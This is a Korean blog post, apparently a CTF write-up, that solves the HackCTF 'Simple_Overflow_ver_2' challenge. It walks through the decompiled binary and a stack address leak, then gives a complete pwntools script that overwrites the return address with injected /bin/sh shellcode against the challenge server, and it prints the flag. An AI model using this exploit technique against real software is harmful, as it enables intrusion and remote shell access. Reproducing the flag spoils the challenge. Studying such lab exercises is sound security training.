ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Simple_Overflow_ver_2
    CTF/HackCTF 2021. 1. 21. 03:13

    Disassembly 디스어셈블리


    undefined4 main(void)
    {
        int32_t iVar1;
        uint32_t uVar2;
        uint32_t uVar3;
        int32_t *piVar4;
        int32_t var_89h;
        int32_t var_bp_8h;
        
        piVar4 = (int32_t *)0x0;
        setvbuf(_reloc.stdout, 0, 2, 0);
        var_89h._0_1_ = 'y';
        do {
            printf("Data : ", piVar4);
            uVar2 = (int32_t)&var_89h + 1;
            iVar1 = __isoc99_scanf(" %[^\n]s", uVar2);
            if (iVar1 != 0) {
                var_bp_8h = 0;
                while( true ) {
                    iVar1 = var_bp_8h;
                    uVar2 = strlen((int32_t)&var_89h + 1, uVar2);
                    if (uVar2 <= (uint32_t)iVar1) break;
                    if ((var_bp_8h & 0xfU) == 0) {
                        printf("%p: ", (int32_t)&var_89h + var_bp_8h + 1);
                    }
                    uVar2 = (uint32_t)*(uint8_t *)((int32_t)&var_89h + var_bp_8h + 1);
                    printf(0x8048715);
                    uVar3 = (uint32_t)(var_bp_8h >> 0x1f) >> 0x1c;
                    if ((var_bp_8h + uVar3 & 0xf) - uVar3 == 0xf) {
                        putchar(10);
                    }
                    var_bp_8h = var_bp_8h + 1;
                }
            }
            printf("\nAgain (y/n): ");
            piVar4 = &var_89h;
            iVar1 = __isoc99_scanf(0x8048715);
        } while ((iVar1 != 0) && (((char)var_89h == 'y' || ((char)var_89h == 'Y'))));
        return 0;
    }

    do while문은 uVar2에 문자열을 입력받은 후 문자열의 주소와 내용을 16바이트 단위로 출력하는 코드이다.

    Stack address leak


    payload = b"A"*0x8
    p.sendlineafter("Data : ", payload)
    
    buf = int(p.recvline()[0:10], 16)

    아무 입력이나 넣으면 uVar2의 주소가 출력되므로 스택 주소를 계산하는 데 사용할 수 있다.

    RET Overwrite


    ebp-0x88

    s에서 스택 버퍼 오버플로우가 일어나고, 스택 주소를 구했다. 따라서 스택에 쉘코드 삽입을 통한 RET Overwrite을 통해 문제를 해결할 수 있다.

    Code

    더보기
    from pwn import *
    
    binary = "./Simple_overflow_ver_2"
    server = "ctf.j0n9hyun.xyz"
    port = 3006
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    # p = process(binary)
    e = ELF(binary)
    
    shellcode = asm(shellcraft.execve("/bin/sh",0,0))
    
    payload = b"A"*0x8
    p.sendlineafter("Data : ", payload)
    
    buf = int(p.recvline()[0:10], 16)
    print(hex(buf))
    
    p.sendline("y")
    
    payload = b"A"*0x8c
    payload += p32(buf+0x90)
    payload += shellcode
    p.sendlineafter("Data : ", payload)
    
    p.sendlineafter("\x80", "n")
    
    p.interactive()

    Flag

    HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}

    'CTF > HackCTF' 카테고리의 다른 글

    BOF_PIE  (0) 2021.01.21
    Offset  (0) 2021.01.21
    x64 Simple_size_BOF  (0) 2021.01.21
    x64 Buffer Overflow  (0) 2021.01.21
    내 버퍼가 흘러넘친다!!!  (0) 2021.01.21

    댓글

Designed by Tistory.